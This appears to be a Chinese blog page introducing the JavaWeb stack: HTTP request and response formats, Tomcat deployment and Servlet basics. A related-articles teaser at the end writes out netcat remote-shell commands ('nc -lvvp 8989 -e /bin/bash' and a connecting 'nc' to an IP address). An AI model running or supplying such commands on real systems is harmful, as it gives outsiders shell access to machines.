JavaWeb技术栈

news/2024/11/28 18:36:45/

一个网页是怎么运行的?

首先网页想要运行,需要有静态资源他们负责页面的展示,如果我们想要页面产生互动效果,我们需要动态资源进行逻辑处理。同时,我们还需要数据库来存取数据。

进入一个网站,浏览器向服务器请求资源,动态资源去数据库里拿取数据,静态数据做出页面,最后服务器响应返回页面给浏览器。浏览器解析页面成为我们看到的效果。

 HTTP:超文本传输协议

HTTP规定了浏览器和服务器之间传输数据的规则。

HTTP协议特点:

基于TCP协议:面向连接,安全

基于请求-响应模型:一次请求对应一次响应

HTTP协议是无状态的协议,对于事务处理没有记忆能力。每次请求-响应都是独立的。

优点:速度快。

缺点:多次请求间不可以共享数据。

举个例子:我们将商品添加到购物车这一行为是一个请求和响应。我们打开购物车结算的时候又是一个请求和响应。我们需要知道将什么东西添加到了购物车里,但两次请求之间的数据不能共享。

Java会提供会话技术(cookie和Session)来解决这个问题。

HTTP-请求数据格式

1、请求行:请求数据的第一行。其中GET表示请求方式,/表示请求资源路径,HTTP/1.1表示协议版本。

GET/HTTP/1.1

2、请求头:从第二行开始,格式为键值对key:value形式。

User-Agent:用于浏览器兼容性处理,让不同浏览器访问的效果相同

3、请求体:

 POST请求方式独有的模块。用来存放请求的数据,没有数据大小的限制。

总结:

GET请求和POST请求的区别

1、GET请求请求参数在请求行中,没有请求体。POST请求在请求体中。

2、GET 请求参数有大小限制(4kb),但是POST请求体没有大小限制。

HTTP-响应数据格式

 响应数据同样分为三部分。

1、请求行:响应数据的第一行。其中HTTP/1.1表示协议版本。200表示状态码,(服务器告诉浏览器响应的状态是怎么样的,成功或者失败或者别的状态),OK是对状态码的英文描述。

2、响应头:

Content-Type:表示应响应内容的类型,比如text/html/image/jpeg。浏览器知道了响应内容的类型,会自动的选择对应的解析引擎进行解析。

Content-Length:表示应响应数据的长度(字节数)。

Content-Encoding:表示响应压缩算法,告诉浏览器我才用了哪种压缩方式进行压缩数据,浏览器会选择同样的压缩格式来解压缩。

Cache-Control:告诉浏览器该如何缓存数据,例如max-age=300,表示最多可以缓存300秒。第一次访问将数据存储到浏览器本地,第二次再访问的时候,直接读取本地数据。这样可以提高速度。

3、 响应体:

最后一部分,存放响应数据,浏览器解析这些响应数据就可以展示出来一个页面了。

常见的状态码有哪些? 

 Web服务器

Web服务器是一个应用程序(软件)。

他可以对HTTP协议进行封装,使我们不需要对协议直接操作,让Web开发更为高效快捷。

他可以将web项目部署到服务器中,对外提供网上浏览服务。

Tomcat

它是一个轻量级的Web服务器,支持Servlet/JSP和少量JavaEE(企业开发标准,比如说mybatis,maven之类的),也称之为web容器,servlet容器。

  bin目录下存放了一些可执行的文件,其中.bat是windows系统下可执行的文件,.sh是linux系统下可执行的文件。

conf目录下存放了一些配置文件。

lib目录下存放了依赖jar包,Tomcat是使用java语言编写的。

logs目录下存放的日志文件,如果出现500错误我们就需要去查看日志信息。

temp目录运行时产生的临时文件。

webapps目录存放我们需要运行的项目。

work目录下存放项目运行时临时产生的数据。

 Tomcat使用java编写的,所以运行时需要jdk的运行环境,如果全局变量出错找不到运行环境,会一闪而过启动失败。

Tomcat部署项目

将项目放到webapps目录下即可完成部署。

一般情况下,我们直接将文件夹打包移动速度会很慢,我们会将项目打包成war包,然后放到webapps目录下,Tomcat会自动完成文件解压。

在IDEA中创建Maven Web项目

创建Web项目方法

1、使用骨架

2、不使用骨架 

 

 在IDEA中方便快捷的使用Tomcat

1、通过配置编辑,将Tomcat集成到本地idea。

将Tomcat通过编辑配置部署到本地IDEA环境中。

随后在webapp目录下创建html文件,启动服务器并且输入你的路径就可以访问了。 

2、 通过maven导入插件坐标

以这样的方式更加简单高效,访问速度更快。

在pom文件中可以通过<configuration>标签修改一些配置,比如说端口号,比如说项目访问路径。

 Servlet

Servlet是java提供的一门动态web资源开发技术。

注:html+css+JSP不同的用户所看到的页面是一样的,Servlet可以让不同用户得到不同的反应结果。

Servlet是JavaEE规范之一,本质上就是一个接口,将来我们需要定义Servlet类并且实现接口,由web服务器运行Servlet。

Servlet快速入门

scope依赖范围必须是provided,在编译环境和测试环境有效,运行环境无效。

web项目里,Tomcat已经提前创建好了Servlet的jar包,如果我们仍在运行范围内打包成jar包存在会产生错误。 

Servlet执行流程

我们将web项目发布到服务器上去,浏览器通过url访问servlet。

http://localhost:8080/web-demo/demo1

http://localhost:8080访问到Tomcat服务器。

/web-demo访问到上线的项目。

/demo1访问对应的Servlet。

Servlet由谁创建?Servlet方法由谁调用?

Tomcat自动创建Servlet对象,并且方法也是由Tomcat调用的,调用后就可以给浏览器发送回对应的响应数据。 

服务器为什么会知道Servlet中一定有service方法?

我们自定义的Servlet,必须实现Servlet接口并且重写其中的方法。

Servlet生命周期

@WebServlet(urlPattern="/demo",loadOnStartUp=1)

1、负整数:在第一次被访问时创建Servlet对象。

2、0或正整数:服务器启动时创建Servlet对象,数字越小优先级越高。这是因为创建一些Servlet所需要的时间比较长,我们在创建服务器的时候就创建好Servlet对象可以减少用户的等待时间。 

​​​​​​​

getServletConfig()获取Servlet配置对象。

 getServletInfo()返回一些版权信息,比如说作者之类的。

Servlet体系结构

用来简化开发。

ServletServlet urlPattern配置

XML配置方式编写Servlet


http://www.ppmy.cn/news/68944.html

相关文章

如何使用分布式存储系统促进 AI 模型训练

在处理小型数据集和简单算法时&#xff0c;传统的机器学习模型可以存储在独立机器或本地硬盘驱动器上。然而&#xff0c;随着深度学习的发展&#xff0c;团队在处理更大的数据集和更复杂的算法时越来越多地遇到存储瓶颈。 这凸显了分布式存储在人工智能&#xff08;AI&#xf…

Linux下的shell

NC反向shell 1、查看shell类型 echo $SHELLchsh -s 需要修改shell的类型cat /etc/shells 查看存在哪些shell 然后反弹对应的shell&#xff08;正向连接&#xff09; //被控制端 nc -lvvp 8989 -e /bin/bash //控制端 nc 192.168.222.146(被控端ip) 8989 2、没有-e参数反…

python如何选取数据

python如何选取数据的第几行和第几列 要选取Python中数据的特定行和列&#xff0c;可以使用索引或切片。 假设你有一个名为data的二维列表&#xff08;或Numpy数组或Pandas DataFrame&#xff09;&#xff0c; 以下是如何选择第3行和第2列&#xff1a; # 选择第3行和第2列 …

R语言 | 数据分析——统计绘图

目录 一、分类数据的图形描述 1.1 条形图barplot()函数 1.2 饼图pie()函数 二、量化数据的图形描述 2.1 点图与dotchart()函数 2.2 绘图函数plot() 2.2.1 绘制时间数列对象 ​2.2.2 向量数据与plot()函数 2.2.3 数据框数据与plot()函数 2.2.4 因子型数据与plot()函数 …

毕业论文写作技巧

毕业论文的组成部分目录自定义目录 摘要&#xff08;Abstract&#xff09;绪论相关工作&#xff08;Related work&#xff09;研究方法和结果&#xff08;Method and Results&#xff09;研究方法研究结果 结论&#xff08;Conclusion&#xff09;写在最后&#xff0c;关于论文…

【LeetCode】172. 阶乘后的零

172. 阶乘后的零&#xff08;中等&#xff09; 方法一 思路 当一个数乘以 10 &#xff0c;此时数字结尾会增加一个 0&#xff0c;因此我们可以计算 n! 能够得出多少个 10 &#xff0c;就说明能得到多少个 0 。 具体对于5!&#xff0c;也就是 5 * 4 * 3 * 2 * 1 120&#xf…

linux-项目部署软件安装

安装jdk 操作步骤&#xff1a; 1、使用FinalShell自带的上传工具将jdk的二进制发布包上传到Linux jdk-8u171-linux-x64.tar.gz 2、解压安装包&#xff0c;命令为tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/local 3、配置环境变量&#xff0c;使用vim命令修改/etc/profile文…

杂记——23.java中的值传递和应用传递

这篇文章我们来讲一下java中的值传递和引用传递 结论&#xff1a;java中只存在值传递&#xff0c;不存在引用传递&#xff08;C中有引用传递&#xff09; 分析&#xff1a; 值传递(pass by value)&#xff1a;在调用函数时&#xff0c;将实际参数复制一份传递到函数中&#…